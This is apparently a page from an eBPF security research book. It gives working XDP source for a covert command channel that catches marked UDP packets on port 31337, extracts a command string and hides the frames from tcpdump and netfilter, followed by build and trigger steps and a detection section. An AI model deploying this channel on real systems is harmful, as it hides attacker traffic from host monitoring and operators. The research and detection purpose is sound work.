The Ghost NIC

See also: Full investigation notes in the book · POC source

XDP runs before the packet reaches the IP stack, and that’s the whole primitive. An XDP program on a netdev sees every ingress frame ahead of netfilter, ahead of raw sockets, ahead of tcpdump’s AF_PACKET tap — and it can return XDP_DROP to make the frame disappear for everyone above it.

My first attempt used cls_bpf on ingress tc, and on the same interface AF_PACKET still saw the frames: tc ingress runs after the ptype_all walk in __netif_receive_skb_core, which is exactly where tcpdump’s tap sits. Moving to XDP, the frames stopped showing up in tcpdump. This isn’t bypassing a security control — it’s XDP behaving the way the architecture documents.

Mechanism

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
SEC("xdp")
int xdp_ghost(struct xdp_md *ctx) {
    void *data = (void *)(long)ctx->data;
    void *data_end = (void *)(long)ctx->data_end;

    struct ethhdr *eth = data;
    if ((void *)(eth + 1) > data_end) return XDP_PASS;
    if (eth->h_proto != bpf_htons(ETH_P_IP)) return XDP_PASS;

    struct iphdr *iph = (void *)(eth + 1);
    if ((void *)(iph + 1) > data_end) return XDP_PASS;
    if (iph->protocol != IPPROTO_UDP) return XDP_PASS;

    struct udphdr *udp = (void *)iph + (iph->ihl * 4);
    if ((void *)(udp + 1) > data_end) return XDP_PASS;
    if (udp->dest != bpf_htons(31337)) return XDP_PASS;

    char *payload = (void *)(udp + 1);
    if (payload + 5 > (char *)data_end) return XDP_PASS;
    if (__builtin_memcmp(payload, "GHOST", 5) != 0) return XDP_PASS;

    char cmd[48] = {};
    long copy_len = (char *)data_end - (payload + 5);
    if (copy_len > 47) copy_len = 47;
    bpf_probe_read_kernel(cmd, copy_len, payload + 5);

    struct evt e = { .src_ip = iph->saddr, .sport = udp->source };
    __builtin_memcpy(e.cmd, cmd, 48);
    bpf_ringbuf_output(&events, &e, sizeof(e), 0);

    return XDP_DROP;
}

Bounds checks at every layer — the verifier won’t take anything less. bpf_xdp_adjust_head and bpf_redirect_map are available for the cross-namespace variant (see chapter 15).

Hook point

  • SEC("xdp") attached to a veth (drv-mode, fallback to skb-mode).

The loader attaches via bpf_xdp_attach(ifindex, prog_fd, flags, NULL), trying XDP_FLAGS_DRV_MODE first and falling back to XDP_FLAGS_SKB_MODE. Either way it shows up in bpftool net show and in ip link show <if> as an xdp prog_id.

Reproduction

1
2
3
4
5
6
cd dBPF-pocs/pocs/ch05b-ghost-nic
make
sudo bash trigger.sh
# BEFORE: tcpdump on veth_host captures both magic UDP packets
# AFTER: tcpdump captures 0; ringbuf shows 2 DROPPED events with cmd strings
# expect: === GHOST_COVERT_CHANNEL_PROVEN dropped=2 tcpdump=0 ===

Detection

  • bpftool net show lists every netdev with an XDP program attached.
  • ip link show <if> shows the xdp prog_id field.
  • An unexpected XDP attachment on a veth is the strongest signal — containers don’t usually need XDP on their own interfaces.
  • bpftool prog show id <id> --pretty gives the BTF and loader identity.
  • bpftrace one-liners on bpf_prog_load will catch the attach in real time if bpftrace itself is allowed (it needs CAP_BPF — so it’s an attacker-equivalent tool).

Scope

Class IV primitive from chapter 20. This isn’t a netfilter bypass in the sense of dodging a rule; it’s an architectural layer that sits below netfilter by design. Defenders who rely on tcpdump, nftables, or raw sockets for host-level visibility into covert channels need a second signal: an XDP program inventory, a CAP_BPF audit, and off-host network telemetry.


Related material